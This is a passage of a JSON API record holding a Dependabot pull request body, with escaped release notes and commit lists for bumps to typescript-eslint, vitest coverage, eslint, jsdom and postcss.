href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsdom` from 30.1.2 to 30.1.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jsdom/jsdom/releases\"\u003ejsdom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev30.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved performance of \u003ccode\u003egetComputedStyle()\u003c/code\u003e and computed CSS property reads, including with stylesheets containing attribute selectors. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed slowdowns when focusing elements and running interaction tests, which regressed in v30.1.2. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e reusing credentials supplied to \u003ccode\u003exhr.open()\u003c/code\u003e after cross-origin redirects, including in response to authentication challenges from the destination.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e incorrectly sending and accepting cookies after cross-origin redirects back to the document's origin when \u003ccode\u003exhr.withCredentials\u003c/code\u003e is false.\u003c/li\u003e\n\u003cli\u003eFixed exceptions from malformed CSS math functions, such as \u003ccode\u003ecalc(0px - @submenu_space)\u003c/code\u003e, while parsing documents, stylesheets, and style declarations. (\u003ca href=\"https://github.com/rnavarro\"\u003e\u003ccode\u003e@​rnavarro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e ignoring style rules nested inside multiple \u003ccode\u003e@media\u003c/code\u003e rules.\u003c/li\u003e\n\u003cli\u003eFixed CSS shorthands overwriting longhands with higher priority or specificity during style computation, including declarations containing CSS variables.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning unresolved or inconsistent shorthand values, including for 'background', 'border', 'flex', 'font', 'margin', and 'padding', and incorrect shorthand defaults and inheritance.\u003c/li\u003e\n\u003cli\u003eFixed computed background positions to resolve font-relative lengths using the final font size and handle multiple image layers correctly.\u003c/li\u003e\n\u003cli\u003eFixed computed 'color' values depending on property read order, including unresolved \u003ccode\u003ecolor-mix()\u003c/code\u003e results, which regressed in v29.0.2.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003ecurrentcolor\u003c/code\u003e border colors incorrectly becoming transparent when 'color' uses \u003ccode\u003elight-dark()\u003c/code\u003e or relative color syntax.\u003c/li\u003e\n\u003cli\u003eFixed CSS calculations that reduce to a percentage incorrectly producing pixel values, which regressed in v30.0.0.\u003c/li\u003e\n\u003cli\u003eFixed numeric font weights in the 'font' shorthand incorrectly setting 'line-height'.\u003c/li\u003e\n\u003cli\u003eFixed selector matching involving XML namespaces, and selectors such as \u003ccode\u003e[data-a|=\u0026quot;\u0026quot;]\u003c/code\u003e failing to match empty values and values beginning with \u003ccode\u003e-\u003c/code\u003e. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/058c0f55f369a70bcb113d660ae562b9066f2d44\"\u003e\u003ccode\u003e058c0f5\u003c/code\u003e\u003c/a\u003e 30.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/fcd1fd186401a01a754d124259bf3462ebde29e1\"\u003e\u003ccode\u003efcd1fd1\u003c/code\u003e\u003c/a\u003e Cascade parsed longhands independently\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/a3ee78607d8b148c252ccf0626e10eed63ee3e49\"\u003e\u003ccode\u003ea3ee786\u003c/code\u003e\u003c/a\u003e Cascade computed style properties on demand\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/f42dc159106131691e16b6af6303a2291f4649e2\"\u003e\u003ccode\u003ef42dc15\u003c/code\u003e\u003c/a\u003e Resolve colors before caching or using currentcolor\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/074b1fb31d0eceeb3cd8cf4a97a4ce9e2b26643c\"\u003e\u003ccode\u003e074b1fb\u003c/code\u003e\u003c/a\u003e Compute background-position lengths against the final font size\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/d19598cd3b306b349f7f37d146b83a611f30e3c2\"\u003e\u003ccode\u003ed19598c\u003c/code\u003e\u003c/a\u003e Apply style rules nested in multiple \u003ca href=\"https://github.com/media\"\u003e\u003ccode\u003e@​media\u003c/code\u003e\u003c/a\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/45d626c988603e102bf4633d853d9069c88ac653\"\u003e\u003ccode\u003e45d626c\u003c/code\u003e\u003c/a\u003e Rule out attribute selector subjects before matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/3ff0a5b986cb9e852c9ee53784c7e06b83f72f2c\"\u003e\u003ccode\u003e3ff0a5b\u003c/code\u003e\u003c/a\u003e Upgrade Undici and remove abort workarounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/8813bb1b0ad45a822fe2d537f2613c292f9bf63a\"\u003e\u003ccode\u003e8813bb1\u003c/code\u003e\u003c/a\u003e Ignore CSS declarations with unparseable math functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/63712d8c66cad4db5e4691fd86e4de95d73c6642\"\u003e\u003ccode\u003e63712d8\u003c/code\u003e\u003c/a\u003e Fix XHR credentials across redirects\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jsdom/jsdom/compare/v30.1.2...v30.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.30 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/c...\n\n_Description has been truncated_","html_url":"https://github.com/kkrzysztofik/Anyka_ak3918_hacking_journey/pull/148","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkrzysztofik%2FAnyka_ak3918_hacking_journey/issues/148","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/148/packages"},{"uuid":"5998513435","node_id":"PR_kwDOG9j5288AAAABKQggFA","number":47,"state":"open","title":"chore(deps-dev): bump vitest from 4.1.11 to 